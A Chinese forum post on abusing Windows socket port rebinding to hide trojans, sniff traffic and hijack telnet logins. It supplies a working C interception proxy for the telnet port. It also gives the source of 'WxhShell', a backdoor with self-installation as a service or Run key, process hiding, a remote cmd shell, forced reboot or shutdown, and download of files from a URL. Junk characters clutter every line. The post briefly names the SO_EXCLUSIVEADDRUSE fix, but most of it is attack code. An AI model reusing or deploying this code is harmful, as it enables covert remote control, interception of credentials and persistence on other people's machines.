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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +" 4E:9P?  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 'Wv=mBEfZ  
Do3;-yp>`  
  saddr.sin_family = AF_INET; -\mbrbG9H  
vAW+ ,Rfj  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ,(0q  
cC'{+j8-a  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?zwPF;L*  
KNtsz[#b  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 nK*$P +[R  
\M4/?<g  
  这意味着什么?意味着可以进行如下的攻击: psb$rbu7[  
s_} 1J,Y  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5Qb%g )jZ  
}]cKOv2  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `&2AN%Xz  
Y }*[Krw  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 T7E9l  
'2+Rb7V  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ve.rp F\  
[ F id  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 o,a 3J:j]  
Xrpzc~(  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +R}(t{b#  
> <WR]`G  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ; qT~81  
KD]8n]c  
  #include %a-:f)@  
  #include 8NLTq|sW  
  #include }a= &o6=  
  #include    0( fN  
  DWORD WINAPI ClientThread(LPVOID lpParam);   '+tU8Pb  
  int main() ndRy&[f7  
  { n,eO6X 4  
  WORD wVersionRequested; 0*?~I;.2m$  
  DWORD ret; sMh3IL9(*  
  WSADATA wsaData; v@bs4E46e  
  BOOL val; r0=Aru5n  
  SOCKADDR_IN saddr; T9enyYt%  
  SOCKADDR_IN scaddr; "T4Z#t  
  int err; 1=C>S2q  
  SOCKET s; 3| 5Af  
  SOCKET sc; fDo )~t*~  
  int caddsize; Bor_Kib  
  HANDLE mt; WZ}c)r*R  
  DWORD tid;   "qEHK;  
  wVersionRequested = MAKEWORD( 2, 2 ); SJhcmx+  
  err = WSAStartup( wVersionRequested, &wsaData ); mO$]f4}  
  if ( err != 0 ) { &E.ckWf  
  printf("error!WSAStartup failed!\n"); #&vP(4p  
  return -1; _iBNy   
  } S[!-M\b  
  saddr.sin_family = AF_INET; VIo %((  
   0tVZvXgTu  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 l_JPkM(mJw  
>/;V_(  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); N_TWT&o4  
  saddr.sin_port = htons(23); F-%wOn /  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) l%h0x*?$  
  { v*}r<} j  
  printf("error!socket failed!\n"); eaQ)r?M  
  return -1; Y2i:ZP  
  } o@[yF<  
  val = TRUE; aaf\%~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的  ajF-T=5  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) $<c0Z6f  
  { mx  s=<  
  printf("error!setsockopt failed!\n"); |eIEqq.Eb  
  return -1; 9W$FX  
  } ffo{ 4er  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =\7o@ 38  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 qYj EQz  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 X-Y:)UT  
O)|{B>2r  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &d]%b`EXq  
  { +rS}f N$L.  
  ret=GetLastError(); lb3:#?  
  printf("error!bind failed!\n"); k mjSSh/t  
  return -1; &i*/}OZz  
  } [@MV[$W5  
  listen(s,2); yLFc?{~7  
  while(1) ] dB6--  
  { [pf78  
  caddsize = sizeof(scaddr); HJT}v/FZ  
  //接受连接请求 Q/rOIHiI  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >YuBi:z  
  if(sc!=INVALID_SOCKET) 0?525^   
  { I, 9!["^|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @O b$w1c  
  if(mt==NULL) 9:N@+;|T  
  { HgJ:Rf]  
  printf("Thread Creat Failed!\n"); +VSJve |  
  break; dM"Suw  
  } g+h)s!$sB  
  } D}59fWz@  
  CloseHandle(mt); U-(2;F)  
  } o*H j E  
  closesocket(s); Wi_5.=  
  WSACleanup(); B '\^[  
  return 0; Y3G$(+i8  
  }   ]MJyBz+k  
  DWORD WINAPI ClientThread(LPVOID lpParam) JgXP2|Y!  
  { &U:bRzD  
  SOCKET ss = (SOCKET)lpParam; :lQl;Q -e  
  SOCKET sc; p$dVGvM(  
  unsigned char buf[4096]; T% J;~|  
  SOCKADDR_IN saddr; k4iu`m@^H  
  long num; +u;f]p  
  DWORD val; CHp`4  
  DWORD ret; ZaQg SE>Y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 :X-Z|Pv8  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   VR/7CI4=  
  saddr.sin_family = AF_INET; +grIw# j  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); FHWzwi*u}  
  saddr.sin_port = htons(23);  ?CKINN  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *'=JT#  
  { a=bP   
  printf("error!socket failed!\n"); 8:hUj>q x  
  return -1; |UvM [A|+  
  } /Y:1zLs%  
  val = 100; 6#P\DT  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jH26-b<  
  { ,Oojh;P_  
  ret = GetLastError(); WoGK05w  
  return -1; p#HbN#^Hy  
  } "/6<k0.D&  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z,/0e@B >  
  { 8%OS ,Z  
  ret = GetLastError(); p@`rBzGp  
  return -1; g'G%BX  
  } !<\"XxK+l  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Q*|O9vu'D  
  { SiJ0r @  
  printf("error!socket connect failed!\n"); J9J[.6k8  
  closesocket(sc); wW s<{ T  
  closesocket(ss); Zp~2WJQ  
  return -1; Erz{{kf]1V  
  } VP^Yph 8R  
  while(1) "4N%I  
  { .),%S}  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 W!B4~L  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Z}_{@|  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 w5uOi}T\  
  num = recv(ss,buf,4096,0); [wB-e~   
  if(num>0) ')_Gm{A#p  
  send(sc,buf,num,0); C 9IKX  
  else if(num==0) F?=(4Pyvu  
  break; UBoN}iR  
  num = recv(sc,buf,4096,0); $r%m<Uc;}O  
  if(num>0) kGhWr M  
  send(ss,buf,num,0); t/z]KdK P  
  else if(num==0)  qGG  
  break; sIQd }  
  } 0&$+ CWSM  
  closesocket(ss); 4?YhqJ  
  closesocket(sc); P~n I6/r1  
  return 0 ; ]eA<  
  } ( XYYbP  
P7r?rbO"  
`c@KlL*!Q  
========================================================== ^/`:o}7K7  
[OFg (R-  
下边附上一个代码,,WXhSHELL ~@=:I  
"5Oi[w&F5  
========================================================== A-gNfXP,D  
gNr/rp9A$m  
#include "stdafx.h" ;EstUs3  
;} ),6R  
#include <stdio.h> Z M"J5}h  
#include <string.h> 4Fhiac  
#include <windows.h> L12m ;  
#include <winsock2.h> pnin;;D*  
#include <winsvc.h> \zA$|) x  
#include <urlmon.h> O[[:3!6q  
xzF@v>2S+  
#pragma comment (lib, "Ws2_32.lib") hl}@ha4'  
#pragma comment (lib, "urlmon.lib") .QX|:]|n  
xi=Z<G  
#define MAX_USER   100 // 最大客户端连接数 JzH\_,,  
#define BUF_SOCK   200 // sock buffer 0KqGJ :Ru  
#define KEY_BUFF   255 // 输入 buffer +f/G2qY!t  
D&_Ir>"\  
#define REBOOT     0   // 重启 2b+cz  
#define SHUTDOWN   1   // 关机 OD5c,IkWB  
kOR5'rh  
#define DEF_PORT   5000 // 监听端口 Y; =y-D  
t{t*.{w  
#define REG_LEN     16   // 注册表键长度 B6r~4=w_  
#define SVC_LEN     80   // NT服务名长度 ! 7,rz1s73  
Th,15H DA  
// 从dll定义API q:Gi Qk-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pUby0)}t  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); hKv3;jcd  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); UlQZw*ce  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]$/TsN  
(!kOM% 3{  
// wxhshell配置信息 KB+,}7  
struct WSCFG { S)Cd1`Gf  
  int ws_port;         // 监听端口 B:qH7`s  
  char ws_passstr[REG_LEN]; // 口令 HrQBzS  
  int ws_autoins;       // 安装标记, 1=yes 0=no \YO1;\W  
  char ws_regname[REG_LEN]; // 注册表键名 j48cI3C  
  char ws_svcname[REG_LEN]; // 服务名 N}x \Ll  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _ +Ww1 f  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,[enGw  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [O*5\&6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \(Z'@5vC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g/ONr,l`-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^ sIxR*C[v  
{M: Fsay>p  
}; cl4`FU  
5]cmDk  
// default Wxhshell configuration [?u iM^&  
struct WSCFG wscfg={DEF_PORT, , Zs:e.  
    "xuhuanlingzhe", *qKPZb~  
    1, vy W/f  
    "Wxhshell", 1zNH[   
    "Wxhshell", # JHicx\8l  
            "WxhShell Service", zOA{S~>  
    "Wrsky Windows CmdShell Service", nWpqAb  
    "Please Input Your Password: ", /h'V1zL#  
  1, k&|L"N|w  
  "http://www.wrsky.com/wxhshell.exe", qk~ni8  
  "Wxhshell.exe" JmB7tRM8  
    }; mmP>Ji  
`` (D01<  
// 消息定义模块 0/?V _  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xe}d&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <+D(GH};  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pk2OZ,14Mj  
char *msg_ws_ext="\n\rExit."; E/x``,k  
char *msg_ws_end="\n\rQuit."; V 9Bi2\s*  
char *msg_ws_boot="\n\rReboot..."; |@KW~YlE  
char *msg_ws_poff="\n\rShutdown..."; ZrJAfd\5c  
char *msg_ws_down="\n\rSave to "; `.Z MwA  
B6&PYMFK?*  
char *msg_ws_err="\n\rErr!"; >#).3  
char *msg_ws_ok="\n\rOK!"; {J3;4p-&  
u50 o1^<X  
char ExeFile[MAX_PATH]; c6gRXp'ID  
int nUser = 0; R,[ dEP  
HANDLE handles[MAX_USER]; O#}T.5t  
int OsIsNt; } MBxfZ4I  
;w ";s$  
SERVICE_STATUS       serviceStatus; :'RmT3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; K#q1/2  
.s-X %%e\  
// 函数声明 V+My]9ki  
int Install(void); rvjPm5[t  
int Uninstall(void); mX))*e4k  
int DownloadFile(char *sURL, SOCKET wsh); (0/g)gW  
int Boot(int flag); E0QrByr_  
void HideProc(void); ?m5@ 63 5  
int GetOsVer(void); F|\^O[#R  
int Wxhshell(SOCKET wsl); Gkci_A*  
void TalkWithClient(void *cs); k2{*WF  
int CmdShell(SOCKET sock); QiBo]`)%  
int StartFromService(void); #&zNYzI  
int StartWxhshell(LPSTR lpCmdLine); k?-GI[@X  
%5<uQc9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z_vIGH|1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); le1  
_7df(+.{<A  
// 数据结构和表定义 Q?df5{6  
SERVICE_TABLE_ENTRY DispatchTable[] = |HhqWja  
{ ( <~  
{wscfg.ws_svcname, NTServiceMain}, ,z A9*  
{NULL, NULL} D"kss5>w  
}; "b)Y5[nW  
M*ZR+pq,  
// 自我安装 yH}(0  
int Install(void) /'KCW_Q  
{ 8w-2Q  
  char svExeFile[MAX_PATH]; v%gkQa  
  HKEY key; <Uj~S  
  strcpy(svExeFile,ExeFile); /SDN7M]m!  
fyYHwG  
// 如果是win9x系统,修改注册表设为自启动 -|s w\Q  
if(!OsIsNt) { SMX70T!'9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L9(mY `d>"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 88%7  
  RegCloseKey(key); OCR`1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2>%|PQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -J7BEx  
  RegCloseKey(key); zx<:1nF,]  
  return 0; )-yJKmV  
    } Ht >5R  
  } @E Srj[  
} z?T;2/_7  
else { S$O+p&!X  
Tp vq5Cz  
// 如果是NT以上系统,安装为系统服务 %H)^k${  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .`./MRC  
if (schSCManager!=0) rw:z|-r  
{ HW|5'opF  
  SC_HANDLE schService = CreateService > 4n\  
  ( Ka\h a  
  schSCManager, {owXyQ2mK  
  wscfg.ws_svcname, 0v7#vZ  
  wscfg.ws_svcdisp, j@g`Pm%u`  
  SERVICE_ALL_ACCESS, aCxF{>n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @4)NxdOE  
  SERVICE_AUTO_START, dnEIR5%+.  
  SERVICE_ERROR_NORMAL, ~PaEhj&8  
  svExeFile, 244[a] %&;  
  NULL, sd5%Szx  
  NULL, Jcy{ ~>@7  
  NULL, B/Jz$D  
  NULL, V{A_\  
  NULL `kE ;V!n?  
  ); <8J_[ S  
  if (schService!=0) ;?{[vLHDL  
  { 0H9UM*O  
  CloseServiceHandle(schService); qdW"g$fW  
  CloseServiceHandle(schSCManager); ,J*C'#sW  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >O;V[H2[  
  strcat(svExeFile,wscfg.ws_svcname); LE@<)}Au^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qV$\E=%fhM  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jw 4B^2}  
  RegCloseKey(key); p<Oz"6_/~  
  return 0; 7.mYzl-F(  
    } F<V.OFt  
  } uM"_3je{W2  
  CloseServiceHandle(schSCManager); _O,k0O   
} j^1Yz}6nR  
} SH1S_EQ<  
5^5hhm4  
return 1; #ET y#jKL  
} 3< 'bi}{  
<u_ vL WS  
// 自我卸载 GQH15_  
int Uninstall(void) |tr^ `Z  
{ Ndz'^c  
  HKEY key; 73p7]Uo  
,J&\) yTP  
if(!OsIsNt) { pw.K,?kYr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f2LiCe.?  
  RegDeleteValue(key,wscfg.ws_regname); w}qLI4  
  RegCloseKey(key); Nsf>b8O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]N;\AXZ7  
  RegDeleteValue(key,wscfg.ws_regname); 8=MNzcA }  
  RegCloseKey(key); Tlm::S   
  return 0; FP<mFqy  
  } -=W Qed}  
} R wTzS;  
} Zmc"  
else { Gk']Ma2J}  
QOR92}yC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =E w<s5C@  
if (schSCManager!=0) ?={S"qK(q  
{  3 GL,=q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); QJy1j~9x  
  if (schService!=0) -pHUC't  
  { 3;JF 5e\?x  
  if(DeleteService(schService)!=0) { w9w=2 *  
  CloseServiceHandle(schService); (M2hK[  
  CloseServiceHandle(schSCManager); =D&XE*qkZ  
  return 0; ]++,7Z\AU  
  } Ea)=K'Pz  
  CloseServiceHandle(schService); 0j :u.x  
  } VkkC;/BBW  
  CloseServiceHandle(schSCManager); 7 <ZGNxZ~  
} 7?;ZE:  
} l* z "wA-  
Dk Ef;P  
return 1; Z<iK(?@O  
} ^ 4Uk'T7V  
bA1O]:`  
// 从指定url下载文件 . {vMn0c  
int DownloadFile(char *sURL, SOCKET wsh) BJt]k7ku+  
{ 7~~suQ{F4  
  HRESULT hr; %O$=%"D6  
char seps[]= "/"; Nwo*tb:  
char *token; PLJDRp 2o  
char *file; {%\@Z-9%q,  
char myURL[MAX_PATH]; +NJIi@  
char myFILE[MAX_PATH]; ,e^~(ITaq  
Q@uWh:  
strcpy(myURL,sURL); qe5;Pq !G  
  token=strtok(myURL,seps); |\Q2L;4C  
  while(token!=NULL) )KY4BBc  
  { zE Ly1v\"  
    file=token; r~G  amjS  
  token=strtok(NULL,seps); pD!j#suMA  
  } :NL[NbQYt  
XmP,3KG2{S  
GetCurrentDirectory(MAX_PATH,myFILE); |l-O e  
strcat(myFILE, "\\"); ;Y,zlq2  
strcat(myFILE, file); QUm[7<"  
  send(wsh,myFILE,strlen(myFILE),0); v 8EI   
send(wsh,"...",3,0); $DaQM'-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9^8_^F  
  if(hr==S_OK) $o. ;}  
return 0; &7,:: $cu  
else  9I:3  
return 1; o@hj.)u  
LM(r3sonb  
} +4p=a [  
oJ tmd}  
// 系统电源模块 A)gSOC{3F)  
int Boot(int flag) 1>/ iYf  
{ w5yX~8UzJ  
  HANDLE hToken; @r^s70{}  
  TOKEN_PRIVILEGES tkp; Ljiw9*ZI  
 7|yEf  
  if(OsIsNt) { 4 aE{}jp1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); F2MC)&#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); cNikLd~?A  
    tkp.PrivilegeCount = 1; )G;H f?M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lWH#/5`h  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {>PEl; ,-  
if(flag==REBOOT) { 0>46ZzxUZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ZNl1e'  
  return 0; k'*vG6!  
} JIjo^zOXsc  
else { A^$xE6t  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) U<r!G;^`  
  return 0; yJ `{\7Uqg  
} ;" D~F  
  } w ~"%&SNN  
  else { 8GRB6-.h  
if(flag==REBOOT) { cL!A,+S[_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7KGb2V<t  
  return 0; db=S*LUbl  
} ]NtBP  
else { @4Zkkjc4b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .XkD2~;  
  return 0; (`_fP.Ogb  
} l^KCsea#  
} ? HNuffk  
%!AzFL J|Z  
return 1; oX*;iS X  
} G;J)[y  
>)u{%@Rcy{  
// win9x进程隐藏模块 DajN1}]  
void HideProc(void) r&Qa;-4Pl  
{ )m[<lJ bw  
e2K9CE.O  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); X$@qs9?)^  
  if ( hKernel != NULL ) XPZ8*8JL  
  { _~D#?cFY6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hSXJDT2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i~AReJxt7  
    FreeLibrary(hKernel); $TS97'$  
  } [k(b<'  
+]z Rn  
return; {]Cn@.TPD  
} -'L~Y~'.  
Ww\ WuaY  
// 获取操作系统版本 `m8WLj  
int GetOsVer(void) ~t/i0pKq.  
{ aG]^8`~>'  
  OSVERSIONINFO winfo; $uJc/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GQJ4d-w  
  GetVersionEx(&winfo); O:a=94  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Bd)Cijr  
  return 1; { o5^nd  
  else S0gxVd(  
  return 0; F u^j- Io  
} RLL%l  
^W9O_5\g4a  
// 客户端句柄模块 C^;8M'8z0  
int Wxhshell(SOCKET wsl) 1E'PSq  
{ HZ}Igw.Z  
  SOCKET wsh; ~tV7yY|zr  
  struct sockaddr_in client; HB$?}V  
  DWORD myID; z}.6yHS  
_dz ZS(7M6  
  while(nUser<MAX_USER) dKC*QHU  
{ 5*-RIs! 2  
  int nSize=sizeof(client); : ir3u  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 98O]tL+k/u  
  if(wsh==INVALID_SOCKET) return 1; Lj#xZ!mQS  
sLJ]N0t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rIYO(}Fl  
if(handles[nUser]==0) aaw[ia_EL  
  closesocket(wsh); bJ1Nf|3~E  
else +]( y  
  nUser++; x- ue1  
  } nnN$?'%~6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {:VK}w  
:).NA ]  
  return 0; _j3rs97@|  
} 'UxI-L t  
@9n|5.i  
// 关闭 socket 0bc>yZ\R  
void CloseIt(SOCKET wsh) "+Ys}t~2  
{ _u u&?<h  
closesocket(wsh); izGU&VeB  
nUser--; }$L1A   
ExitThread(0); WQze|b %  
} Y<(7u`F  
}7b{ZbDI  
// 客户端请求句柄 C4`&_yoP4-  
void TalkWithClient(void *cs) ai1;v@1  
{ TQNdBq5I6  
89GW!  
  SOCKET wsh=(SOCKET)cs; S;gy:n!t  
  char pwd[SVC_LEN]; QKx(S=4jQ  
  char cmd[KEY_BUFF]; im9EV|;  
char chr[1]; pU<J?cU8N  
int i,j; bc~$"  
9&Un|cr  
  while (nUser < MAX_USER) { cn/&QA"  
TbT/ 5W3  
if(wscfg.ws_passstr) { 8-7Ml3G*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EW vhT]<0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +HRtuRv0T  
  //ZeroMemory(pwd,KEY_BUFF); =q)+_@24>d  
      i=0; UR=s=G|  
  while(i<SVC_LEN) { ?wv3HN  
Vn:v{-i  
  // 设置超时 \9tJ/~   
  fd_set FdRead; +;,J0,Yn  
  struct timeval TimeOut; WQ.{Ag?1  
  FD_ZERO(&FdRead); t?)]xS)  
  FD_SET(wsh,&FdRead); %mU$]^Tw(  
  TimeOut.tv_sec=8; 1@ &J"*  
  TimeOut.tv_usec=0; dmv0hof  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &08dW9H  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Lb<IEy77\  
F%&lM[N%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jPZ+~:m+  
  pwd=chr[0]; n7~4*B  
  if(chr[0]==0xd || chr[0]==0xa) { { pQJ.QI  
  pwd=0; Qt{V&Z7  
  break; `AvK8Wh<+  
  } 5 -|7I7(G$  
  i++; nvLdgu4P>  
    } ^E\n^D-RV  
}vOg9/[{  
  // 如果是非法用户,关闭 socket N%Y!{k5T7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *y7 Yf7  
} ^W%F?#ELN2  
fQU_:[ Uz  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y( 22m+B  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IBeorDIZ  
YcwDNsk  
while(1) { 9W\"A$;+&  
T+EwC)Ll  
  ZeroMemory(cmd,KEY_BUFF); 0<uLQVoR2n  
pM+9K:^B  
      // 自动支持客户端 telnet标准   =-/'$7R,  
  j=0; {dxl8~/I  
  while(j<KEY_BUFF) { iRkUL]H@&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n{L^W5B  
  cmd[j]=chr[0]; v@SHR0  
  if(chr[0]==0xa || chr[0]==0xd) { .bP8Z =  
  cmd[j]=0; e&:%Rr]x  
  break; L'`Au/%S}  
  } LJb=9tp~  
  j++; +cYDz#3%  
    } V4}jv7>A  
2ib,33 Z  
  // 下载文件 7BwR ].  
  if(strstr(cmd,"http://")) { O gQ8yKfDB  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); i%<NKE;v7m  
  if(DownloadFile(cmd,wsh)) 0QPY+6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `+vQ5l$;L  
  else DCLu^:|C"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m;rr7{7X  
  } 8tv4_Lbx  
  else { D4y!l~_,%M  
+HWFoK  
    switch(cmd[0]) { FNOsw\Bo  
  5bXpj86mY  
  // 帮助 P2`F" Qsq  
  case '?': { (;05=DsO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )eZ}Kt+  
    break; _w %:PnO  
  } ??P\v0E  
  // 安装 0m.`$nlV-  
  case 'i': { <*^|Aj|#  
    if(Install()) ;r6YIS4@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;~$Q;m 1  
    else "x$L 2>9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M[O22wFs  
    break; fJ _MuAv  
    } R<Mp$K^b  
  // 卸载 {: _*P TVk  
  case 'r': { BQ[R)o  
    if(Uninstall()) `W_&^>yl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9ei'oZ  
    else \h s7>5O^K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -}sMOy`  
    break; XY9%aT*  
    } $0P16ZlPC  
  // 显示 wxhshell 所在路径 D$H&^,?N  
  case 'p': { ''q;yKpaz  
    char svExeFile[MAX_PATH]; >Je$WE3  
    strcpy(svExeFile,"\n\r"); X6$Cd]MN  
      strcat(svExeFile,ExeFile); HOH5_E>d  
        send(wsh,svExeFile,strlen(svExeFile),0); }aa]1X(u  
    break; /g9^g(  
    } R)$]r>YZF  
  // 重启 <Z_\2 YW A  
  case 'b': { ;@gI*i N"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -$=RQH$9  
    if(Boot(REBOOT)) aQY.96yo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _dAn/rj   
    else { L8'4d'N+ >  
    closesocket(wsh); "%dENK  
    ExitThread(0); ?G~rYETvw  
    } bf1$:09  
    break; 0LzS #J+  
    } $RF.LVc  
  // 关机 ^qBm%R(  
  case 'd': { =HIKn6C<  
